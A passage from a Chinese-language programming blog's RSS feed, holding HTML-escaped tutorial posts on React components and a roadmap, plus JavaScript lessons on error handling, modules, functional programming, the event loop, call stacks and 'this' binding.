&lt;hr /&gt;
&lt;h2&gt;组件就是函数&lt;/h2&gt;
&lt;p&gt;React 组件本质：&lt;strong&gt;接收 &lt;code&gt;props&lt;/code&gt;、返回 UI 描述的函数&lt;/strong&gt;。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;function Welcome({ name }) {
  return &amp;lt;p&amp;gt;你好，{name}&amp;lt;/p&amp;gt;;
}
// 使用
&amp;lt;Welcome name=&quot;Tom&quot; /&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;函数组件没有 &lt;code&gt;this&lt;/code&gt;、没有生命周期（用 Hooks 代替），简单且易测。Class 组件已是非主流。&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;组合优于继承&lt;/h2&gt;
&lt;p&gt;React 不鼓励继承，而是用**组合（children / props 插槽）**复用结构：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;function Card({ title, children }) {
  return (
    &amp;lt;div className=&quot;card&quot;&amp;gt;
      &amp;lt;h3&amp;gt;{title}&amp;lt;/h3&amp;gt;
      &amp;lt;div&amp;gt;{children}&amp;lt;/div&amp;gt;
    &amp;lt;/div&amp;gt;
  );
}
&amp;lt;Card title=&quot;统计&quot;&amp;gt;&amp;lt;Chart /&amp;gt;&amp;lt;/Card&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;需要多种变体时，用 &lt;code&gt;children&lt;/code&gt; 或把组件当 &lt;code&gt;prop&lt;/code&gt; 传入，比继承灵活得多。&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;单一职责&lt;/h2&gt;
&lt;p&gt;一个组件只做一件事。当一个组件超过 ~150 行、props 超过 7 个，就该拆。拆出来的小组件更易复用和测试。&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;小结&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;JSX 是 JS 语法糖，编译成 &lt;code&gt;createElement&lt;/code&gt;，不是模板。&lt;/li&gt;
&lt;li&gt;组件 = 接收 props 返回 UI 的函数，优先函数组件。&lt;/li&gt;
&lt;li&gt;用组合（children/插槽）而非继承复用。&lt;/li&gt;
&lt;li&gt;单一职责，过大就拆。&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h2&gt;练习&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;不用 JSX，用 &lt;code&gt;React.createElement&lt;/code&gt; 手写一个 &lt;code&gt;&amp;lt;ul&amp;gt;&lt;/code&gt; 含两个 &lt;code&gt;&amp;lt;li&amp;gt;&lt;/code&gt; 的组件。&lt;/li&gt;
&lt;li&gt;写一个 &lt;code&gt;Modal&lt;/code&gt; 组件，用 &lt;code&gt;children&lt;/code&gt; 接收弹窗内容、&lt;code&gt;title&lt;/code&gt; prop 接收标题。&lt;/li&gt;
&lt;li&gt;把一个&quot;又长又多 props&quot;的组件按单一职责拆成 3 个小组件。&lt;/li&gt;
&lt;/ol&gt;
</content:encoded></item><item><title>React 实战 · 路线总览</title><link>http://117.72.32.87/blog/posts/react-roadmap-00-overview/</link><guid isPermaLink="true">http://117.72.32.87/blog/posts/react-roadmap-00-overview/</guid><description>React 实战学习路线总览：从 JSX 与组件模型、Props/State、事件表单、Hooks，到状态管理、性能优化、路由与数据请求、工程实战。以十年前端视角，讲清&quot;为什么 React 这样设计&quot;以及真实项目里踩过的坑。</description><pubDate>Tue, 29 Sep 2026 14:00:00 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;[!NOTE]
本系列共 &lt;strong&gt;12 篇&lt;/strong&gt;，是我带团队做中后台与 C 端项目时，沉淀下来的 React 实战脉络。不教 API 背记，只讲&quot;心智模型 + 真实坑&quot;。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr /&gt;
&lt;h2&gt;React 解决了什么问题&lt;/h2&gt;
&lt;p&gt;2013 年 React 出来时，大家还在手动操作 DOM、维护 &lt;code&gt;innerHTML&lt;/code&gt;。React 的核心主张是：&lt;strong&gt;UI = f(state)&lt;/strong&gt;——你只描述&quot;状态对应的界面&quot;，状态变了框架帮你重渲染。这一下把&quot;手动同步 DOM&quot;的噩梦消灭了。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;React 实战

├── 基础心智
│   ├── JSX 与组件模型
│   ├── Props 与 State
│   └── 事件与表单
├── 渲染控制
│   ├── 条件渲染与列表（key）
│   ├── Hooks 基础
│   └── 常用 Hooks
├── 能力与规模
│   ├── 自定义 Hook
│   ├── 状态管理
│   ├── 性能优化
│   └── 路由与数据请求
└── 工程化
    └── 工程实战与常见坑
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;我带新人最常纠正的几件事&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;把 state 当&quot;应该渲染的最小数据源&quot;&lt;/strong&gt;：能算出来的就不要存（如 &lt;code&gt;fullName&lt;/code&gt; 由 &lt;code&gt;first&lt;/code&gt;+&lt;code&gt;last&lt;/code&gt; 派生）。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;滥用 useEffect&lt;/strong&gt;：把本可以同步计算的逻辑塞进 &lt;code&gt;useEffect&lt;/code&gt;，导致多一次渲染和竞态。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;key 用 index&lt;/strong&gt;：列表重排时状态错乱。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;一上来就 Redux&lt;/strong&gt;：小项目 &lt;code&gt;useState&lt;/code&gt; + 提升状态足够，过度设计反而难维护。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;无脑 memo&lt;/strong&gt;：&lt;code&gt;React.memo&lt;/code&gt; 有比较成本，乱用反而更慢。&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h2&gt;怎么读&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;01–04 建立心智模型，务必动手写组件。&lt;/li&gt;
&lt;li&gt;05–07 是 Hooks 核心，React 现代写法的命根子。&lt;/li&gt;
&lt;li&gt;08–11 偏工程，按你项目阶段取用。&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h2&gt;小结&lt;/h2&gt;
&lt;p&gt;React 不复杂，复杂的是&quot;状态如何流动&quot;。把单向数据流（state 自上而下、事件自下而上）刻进脑子，后面都是水到渠成。下一篇从 JSX 与组件模型讲起。&lt;/p&gt;
</content:encoded></item><item><title>11 · 错误处理与调试</title><link>http://117.72.32.87/blog/posts/js-roadmap-11-error-debugging/</link><guid isPermaLink="true">http://117.72.32.87/blog/posts/js-roadmap-11-error-debugging/</guid><description>JS 的错误类型体系、try/catch/finally 的正确用法、throw 自定义错误、Error 边界与异步错误捕获（Promise/await），以及用 DevTools 定位问题的实战方法。</description><pubDate>Tue, 29 Sep 2026 13:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;错误也是代码的一部分&lt;/h2&gt;
&lt;p&gt;早年我习惯&quot;能跑就行&quot;，结果线上一个未捕获异常整页白屏。错误处理的本质：&lt;strong&gt;在预期会失败的地方，给程序一条退路&lt;/strong&gt;。&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;错误类型&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;Error&lt;/code&gt;：基类，自定义错误继承它。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;TypeError&lt;/code&gt;：类型不对（如 &lt;code&gt;null.foo&lt;/code&gt;）。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;ReferenceError&lt;/code&gt;：访问未声明变量。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;RangeError&lt;/code&gt;：数值越界（如递归爆栈）。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;SyntaxError&lt;/code&gt;：解析阶段就报错（不会被 try/catch 捕获）。&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h2&gt;try/catch/finally&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;try {
  const data = JSON.parse(input); // 可能抛 SyntaxError
} catch (e) {
  if (e instanceof SyntaxError) {
    console.error(&quot;格式错误&quot;, e.message);
  } else {
    throw e; // 不认识的往上抛
  }
} finally {
  cleanup(); // 无论成功失败都执行（关闭连接、释放资源）
}
&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;code&gt;catch&lt;/code&gt; 里别吞掉错误——至少打日志，或重新 &lt;code&gt;throw&lt;/code&gt;。静默失败最可怕。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr /&gt;
&lt;h2&gt;异步错误捕获&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;// Promise
fetch(url).then(r =&amp;gt; r.json()).catch(err =&amp;gt; handle(err));

// async/await：用 try/catch 包住
async function load() {
  try {
    const r = await fetch(url);
    return await r.json();
  } catch (e) {
    report(e);
    throw e;
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;注意：&lt;code&gt;window.onerror&lt;/code&gt; / &lt;code&gt;unhandledrejection&lt;/code&gt; 可兜住全局未捕获错误，用于监控上报。&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;调试实战&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;断点&lt;/strong&gt;：Sources 面板在可疑行点断点，看调用栈和变量。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;条件断点&lt;/strong&gt;：右键断点加条件，只在特定值时停。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;console 技巧&lt;/strong&gt;：&lt;code&gt;console.table&lt;/code&gt; 看数组、&lt;code&gt;console.dir&lt;/code&gt; 看对象结构。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Network&lt;/strong&gt;：看请求状态、响应、Timing 定位慢请求。&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h2&gt;小结&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;错误分类型，自定义错误继承 &lt;code&gt;Error&lt;/code&gt;。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;catch&lt;/code&gt; 别吞错，要么处理要么重抛；&lt;code&gt;finally&lt;/code&gt; 做清理。&lt;/li&gt;
&lt;li&gt;异步用 &lt;code&gt;.catch&lt;/code&gt; / &lt;code&gt;try-catch&lt;/code&gt; 包 &lt;code&gt;await&lt;/code&gt;；全局兜底用 &lt;code&gt;onerror&lt;/code&gt; / &lt;code&gt;unhandledrejection&lt;/code&gt;。&lt;/li&gt;
&lt;li&gt;调试靠断点 + 调用栈 + Network，比 &lt;code&gt;console.log&lt;/code&gt; 高效。&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h2&gt;练习&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;写 &lt;code&gt;parseSafe(json, fallback)&lt;/code&gt;，解析失败返回 fallback 并打印错误类型。&lt;/li&gt;
&lt;li&gt;用 &lt;code&gt;async/await&lt;/code&gt; + &lt;code&gt;try/catch&lt;/code&gt; 改写一段 &lt;code&gt;.then().catch()&lt;/code&gt; 链式。&lt;/li&gt;
&lt;li&gt;给页面加 &lt;code&gt;window.addEventListener(&apos;unhandledrejection&apos;, ...)&lt;/code&gt; 上报未捕获 Promise 错误。&lt;/li&gt;
&lt;/ol&gt;
</content:encoded></item><item><title>10 · 模块化</title><link>http://117.72.32.87/blog/posts/js-roadmap-10-modules/</link><guid isPermaLink="true">http://117.72.32.87/blog/posts/js-roadmap-10-modules/</guid><description>JS 模块化的演进：IIFE、CommonJS（Node）、ES Module（浏览器/现代标准），循环依赖在两种规范下的不同表现，以及 ESM 的静态特性带来的 tree-shaking 优势。</description><pubDate>Tue, 29 Sep 2026 12:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;没有模块的日子&lt;/h2&gt;
&lt;p&gt;早期用全局变量 + IIFE 避免污染，但依赖关系全靠人工排序 &lt;code&gt;&amp;lt;script&amp;gt;&lt;/code&gt; 标签，大型项目一团乱。于是有了两套主流方案。&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;CommonJS（Node 默认）&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;// math.js
exports.add = (a, b) =&amp;gt; a + b;
// main.js
const { add } = require(&quot;./math&quot;);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;特点：&lt;strong&gt;同步加载、运行时解析&lt;/strong&gt;，&lt;code&gt;require&lt;/code&gt; 返回的是值的拷贝（对基本类型）/ 引用（对对象）。它适合服务端，但浏览器需打包器转换。&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;ES Module（现代标准）&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;// math.js
export const add = (a, b) =&amp;gt; a + b;
export default function() {};
// main.js
import foo, { add } from &quot;./math.js&quot;;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;特点：&lt;strong&gt;静态结构&lt;/strong&gt;（&lt;code&gt;import&lt;/code&gt;/&lt;code&gt;export&lt;/code&gt; 在顶层、编译期可知），支持浏览器原生、可被打包器 &lt;strong&gt;tree-shaking&lt;/strong&gt; 剔除未用代码。注意 ESM 里 &lt;code&gt;import&lt;/code&gt; 是&lt;strong&gt;活绑定&lt;/strong&gt;（引用），改了源会反映到导入方。&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;循环依赖的坑&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;// a.js
import { b } from &quot;./b.js&quot;;
export const a = b + 1;
// b.js
import { a } from &quot;./a.js&quot;;
export const b = a + 1;
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;CommonJS&lt;/strong&gt;：返回&lt;strong&gt;部分加载&lt;/strong&gt;的对象（可能拿到 &lt;code&gt;undefined&lt;/code&gt;），顺序敏感，易踩。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;ESM&lt;/strong&gt;：因是活绑定，最终能解析出正确值（但逻辑上仍是坏设计）。&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote&gt;
&lt;p&gt;结论：循环依赖是代码异味，重构拆公共模块比纠结规范更治本。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr /&gt;
&lt;h2&gt;小结&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;CommonJS：Node 传统，运行时、值拷贝、循环依赖易出 bug。&lt;/li&gt;
&lt;li&gt;ESM：标准、静态、活绑定、支持 tree-shaking。&lt;/li&gt;
&lt;li&gt;新项目一律 ESM；写库时注意两种规范的 &lt;code&gt;import/require&lt;/code&gt; 互操作。&lt;/li&gt;
&lt;li&gt;循环依赖靠重构解决，不是靠规范。&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h2&gt;练习&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;把一段 CommonJS 代码改写成 ESM，注意加文件扩展名（NodeNext 要求）。&lt;/li&gt;
&lt;li&gt;构造一个 CommonJS 循环依赖，观察取到 &lt;code&gt;undefined&lt;/code&gt; 的现象。&lt;/li&gt;
&lt;li&gt;解释为什么 ESM 能做 tree-shaking 而 CommonJS 很难。&lt;/li&gt;
&lt;/ol&gt;
</content:encoded></item><item><title>09 · 函数式与高阶函数</title><link>http://117.72.32.87/blog/posts/js-roadmap-09-functional/</link><guid isPermaLink="true">http://117.72.32.87/blog/posts/js-roadmap-09-functional/</guid><description>函数式编程在 JS 中的落地：一等公民函数、纯函数、高阶函数、map/filter/reduce 的链式用法、柯里化与函数组合，以及为什么函数式让代码更易测试。</description><pubDate>Tue, 29 Sep 2026 11:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;函数是一等公民&lt;/h2&gt;
&lt;p&gt;JS 里函数可以像值一样：赋值、传参、返回。基于这个特性衍生出&lt;strong&gt;高阶函数&lt;/strong&gt;（接收或返回函数的函数）和&lt;strong&gt;纯函数&lt;/strong&gt;（相同输入永远相同输出、无副作用）。&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;数组三件套&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;const nums = [1, 2, 3, 4, 5];
const result = nums
  .filter(n =&amp;gt; n % 2 === 1)   // [1,3,5]
  .map(n =&amp;gt; n * n)            // [1,9,25]
  .reduce((sum, n) =&amp;gt; sum + n, 0); // 35
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;map/filter/reduce&lt;/code&gt; 不修改原数组（纯），链式表达数据流转，比 &lt;code&gt;for&lt;/code&gt; 循环更声明式、更易读。&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;柯里化&lt;/h2&gt;
&lt;p&gt;把多参函数转成&quot;每次吃一个参数&quot;的链式函数：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;const add = a =&amp;gt; b =&amp;gt; a + b;
add(2)(3); // 5
// 实战：预置配置
const log = prefix =&amp;gt; msg =&amp;gt; console.log(`[${prefix}] ${msg}`);
const logError = log(&quot;ERROR&quot;);
logError(&quot;fail&quot;); // [ERROR] fail
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;函数组合&lt;/h2&gt;
&lt;p&gt;把小函数拼成处理管道：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;const compose = (...fns) =&amp;gt; x =&amp;gt; fns.reduceRight((v, fn) =&amp;gt; fn(v), x);
const trim = s =&amp;gt; s.trim();
const upper = s =&amp;gt; s.toUpperCase();
const process = compose(upper, trim);
process(&quot;  hi  &quot;); // &quot;HI&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;为什么函数式好&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;纯函数可测&lt;/strong&gt;：不依赖外部状态，给定输入断言输出即可。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;无副作用&lt;/strong&gt;：并发、缓存、推理都更安全。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;声明式&lt;/strong&gt;：关注&quot;做什么&quot;而非&quot;怎么做&quot;。&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote&gt;
&lt;p&gt;现实里不必极端函数式，但多用 &lt;code&gt;map/filter/reduce&lt;/code&gt;、少改原数据，代码质量立竿见影。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr /&gt;
&lt;h2&gt;小结&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;函数是一等公民 → 高阶函数是基础。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;map/filter/reduce&lt;/code&gt; 链式处理数组，声明式且纯。&lt;/li&gt;
&lt;li&gt;柯里化做参数预置，组合做管道。&lt;/li&gt;
&lt;li&gt;纯函数提升可测试性与可维护性。&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h2&gt;练习&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;用 &lt;code&gt;reduce&lt;/code&gt; 实现 &lt;code&gt;map&lt;/code&gt; 和 &lt;code&gt;filter&lt;/code&gt;（即 &lt;code&gt;myMap&lt;/code&gt;/&lt;code&gt;myFilter&lt;/code&gt;）。&lt;/li&gt;
&lt;li&gt;写一个 &lt;code&gt;curry(fn)&lt;/code&gt; 把普通多参函数转成柯里化版本。&lt;/li&gt;
&lt;li&gt;把一段&quot;先过滤空值、再转数字、再求和&quot;的命令式代码改成 &lt;code&gt;reduce&lt;/code&gt; 链式。&lt;/li&gt;
&lt;/ol&gt;
</content:encoded></item><item><title>08 · 事件循环与异步</title><link>http://117.72.32.87/blog/posts/js-roadmap-08-event-loop/</link><guid isPermaLink="true">http://117.72.32.87/blog/posts/js-roadmap-08-event-loop/</guid><description>JavaScript 异步的核心：调用栈、Web APIs、宏任务与微任务队列、事件循环调度顺序，Promise/async-await 的本质，以及一道经典输出题彻底讲清执行顺序。</description><pubDate>Tue, 29 Sep 2026 10:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;异步为什么需要事件循环&lt;/h2&gt;
&lt;p&gt;JS 单线程，若同步等网络/I/O 会卡死页面。于是浏览器把耗时操作（定时器、网络、DOM 事件）交给&lt;strong&gt;其他线程（Web APIs）&lt;strong&gt;处理，完成后把回调&lt;/strong&gt;排队&lt;/strong&gt;，等调用栈空了再执行——这套调度机制就是&lt;strong&gt;事件循环（Event Loop）&lt;/strong&gt;。&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;两个队列：宏任务 vs 微任务&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;宏任务（macrotask）&lt;/strong&gt;：&lt;code&gt;setTimeout&lt;/code&gt; / &lt;code&gt;setInterval&lt;/code&gt; / &lt;code&gt;setImmediate&lt;/code&gt; / I/O / UI 渲染。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;微任务（microtask）&lt;/strong&gt;：&lt;code&gt;Promise.then/catch/finally&lt;/code&gt; / &lt;code&gt;queueMicrotask&lt;/code&gt; / &lt;code&gt;MutationObserver&lt;/code&gt;。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;调度规则&lt;/strong&gt;：每次调用栈清空后，先&lt;strong&gt;把当前所有微任务清空&lt;/strong&gt;，再取&lt;strong&gt;一个&lt;/strong&gt;宏任务执行，如此往复。&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;经典题：输出顺序&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;console.log(&quot;1&quot;);              // 同步
setTimeout(() =&amp;gt; console.log(&quot;2&quot;), 0); // 宏任务
Promise.resolve().then(() =&amp;gt; console.log(&quot;3&quot;)); // 微任务
console.log(&quot;4&quot;);              // 同步
// 输出：1 4 3 2
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;解析：同步先跑 → &lt;code&gt;1&lt;/code&gt;、&lt;code&gt;4&lt;/code&gt;；栈空 → 清空微任务 → &lt;code&gt;3&lt;/code&gt;；再取宏任务 → &lt;code&gt;2&lt;/code&gt;。&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;async/await 的本质&lt;/h2&gt;
&lt;p&gt;&lt;code&gt;async&lt;/code&gt; 函数返回 &lt;code&gt;Promise&lt;/code&gt;；&lt;code&gt;await&lt;/code&gt; 后面跟着的&quot;同步部分&quot;像 &lt;code&gt;then&lt;/code&gt; 回调一样变成微任务：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;async function run() {
  console.log(&quot;a&quot;);
  await null;        // 之后的代码等价于 .then(...)
  console.log(&quot;b&quot;);
}
run();
console.log(&quot;c&quot;);
// 输出：a c b
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;await&lt;/code&gt; 让&quot;后面的代码&quot;让出执行权，等微任务阶段再继续。&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;小结&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;单线程 + Web APIs + 事件循环 = JS 不阻塞的秘诀。&lt;/li&gt;
&lt;li&gt;微任务优先于宏任务；每次清空所有微任务再取一个宏任务。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;async/await&lt;/code&gt; 是 Promise 的语法糖，&lt;code&gt;await&lt;/code&gt; 之后进微任务队列。&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h2&gt;练习&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;写出下面输出并解释：&lt;code&gt;console.log(&apos;A&apos;); setTimeout(()=&amp;gt;console.log(&apos;B&apos;),0); Promise.resolve().then(()=&amp;gt;console.log(&apos;C&apos;)); console.log(&apos;D&apos;)&lt;/code&gt;。&lt;/li&gt;
&lt;li&gt;用&quot;宏/微任务&quot;规则解释为什么 &lt;code&gt;await&lt;/code&gt; 后面的代码总是在当前同步栈之后执行。&lt;/li&gt;
&lt;li&gt;写一个会&quot;饿死&quot;宏任务的代码（微任务里不断塞微任务），说明危害。&lt;/li&gt;
&lt;/ol&gt;
</content:encoded></item><item><title>07 · 执行上下文与调用栈</title><link>http://117.72.32.87/blog/posts/js-roadmap-07-execution-context/</link><guid isPermaLink="true">http://117.72.32.87/blog/posts/js-roadmap-07-execution-context/</guid><description>理解 JavaScript 的执行上下文（全局/函数/eval）、调用栈如何压入弹出、栈溢出是怎么发生的，以及它与后面&quot;事件循环&quot;的关系铺垫。</description><pubDate>Tue, 29 Sep 2026 09:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;&quot;单线程&quot;的真正含义&lt;/h2&gt;
&lt;p&gt;JS 在浏览器里是&lt;strong&gt;单线程&lt;/strong&gt;的——同一时刻只做一件事。代码执行靠**调用栈（Call Stack）**管理：函数调用就压栈，执行完弹出。&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;执行上下文&lt;/h2&gt;
&lt;p&gt;每段代码运行前，JS 引擎创建&lt;strong&gt;执行上下文&lt;/strong&gt;，包含：变量环境、作用域链、&lt;code&gt;this&lt;/code&gt;。分为：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;全局上下文&lt;/strong&gt;：最外层，程序启动时创建，栈底。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;函数上下文&lt;/strong&gt;：每次函数调用创建一个，压入栈顶。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;eval 上下文&lt;/strong&gt;：少用，忽略。&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h2&gt;调用栈长这样&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;function a() { b(); }
function b() { c(); }
function c() { console.log(&quot;end&quot;); }
a();
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;执行时栈：&lt;code&gt;a&lt;/code&gt; → &lt;code&gt;a,b&lt;/code&gt; → &lt;code&gt;a,b,c&lt;/code&gt; → 打印 → 依次弹出 &lt;code&gt;c,b,a&lt;/code&gt;。调试时 DevTools 的 Call Stack 面板就是它。&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;栈溢出&lt;/h2&gt;
&lt;p&gt;递归没有终止条件，栈被压满：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;function recurse() { recurse(); }
recurse(); // RangeError: Maximum call stack size exceeded
&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;
&lt;p&gt;注意：这是&lt;strong&gt;同步&lt;/strong&gt;栈溢出。异步递归（在 &lt;code&gt;setTimeout&lt;/code&gt; 里调自己）不会爆栈，因为每次都出栈后再入栈。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr /&gt;
&lt;h2&gt;和事件循环的关系&lt;/h2&gt;
&lt;p&gt;调用栈&lt;strong&gt;空了&lt;/strong&gt;，事件循环才会把&lt;strong&gt;任务队列&lt;/strong&gt;里的回调推入栈执行。这是下一篇异步的核心铺垫——同步代码永远先跑完，异步回调排队等。&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;小结&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;JS 单线程，靠调用栈管理函数执行。&lt;/li&gt;
&lt;li&gt;每次调用创建执行上下文并压栈，结束弹出。&lt;/li&gt;
&lt;li&gt;递归无终止 → 栈溢出。&lt;/li&gt;
&lt;li&gt;栈空后事件循环才调度异步回调（下篇展开）。&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h2&gt;练习&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;在 DevTools 里给 &lt;code&gt;c()&lt;/code&gt; 打断点，观察 Call Stack 从 &lt;code&gt;a→b→c&lt;/code&gt; 的变化。&lt;/li&gt;
&lt;li&gt;写一个会栈溢出的递归，再改成&quot;尾递归+setTimeout&quot;避免溢出，对比两者。&lt;/li&gt;
&lt;li&gt;解释：为什么 &lt;code&gt;setTimeout(fn, 0)&lt;/code&gt; 里的 &lt;code&gt;fn&lt;/code&gt; 一定在同步代码之后才执行？&lt;/li&gt;
&lt;/ol&gt;
</content:encoded></item><item><title>06 · this 的四种绑定</title><link>http://117.72.32.87/blog/posts/js-roadmap-06-this-binding/</link><guid isPermaLink="true">http://117.72.32.87/blog/posts/js-roadmap-06-this-binding/</guid><description>彻底搞懂 JavaScript 中 this 的四种绑定规则：默认绑定、隐式绑定、显式绑定（call/apply/bind）、new 绑定，以及箭头函数不参与绑定、继承词法作用域的 this。</description><pubDate>Tue, 29 Sep 2026 08:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;this 不是&quot;谁调用&quot;这么简单&lt;/h2&gt;
&lt;p&gt;新人常以为 &lt;code&gt;this&lt;/code&gt; 指向&quot;调用它的对象&quot;。错。规则有优先级，记住四条并按顺序判断就不会乱。&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;四条绑定规则（优先级从低到高）&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;1. 默认绑定&lt;/strong&gt;：独立调用，非严格模式指向 &lt;code&gt;window&lt;/code&gt;，严格模式 &lt;code&gt;undefined&lt;/code&gt;。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;function foo() { console.log(this); }
foo(); // 严格模式 undefined，否则 window
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;2. 隐式绑定&lt;/strong&gt;：作为对象方法调用，&lt;code&gt;this&lt;/code&gt; 指向该对象。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;obj.foo(); // this === obj
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;⚠️ 隐患：把方法&quot;抽出来&quot;单独调用会丢失绑定（见下）。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;3. 显式绑定&lt;/strong&gt;：&lt;code&gt;call&lt;/code&gt; / &lt;code&gt;apply&lt;/code&gt; / &lt;code&gt;bind&lt;/code&gt; 强行指定。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;foo.call(obj, arg1);          // 立即调用，this=obj
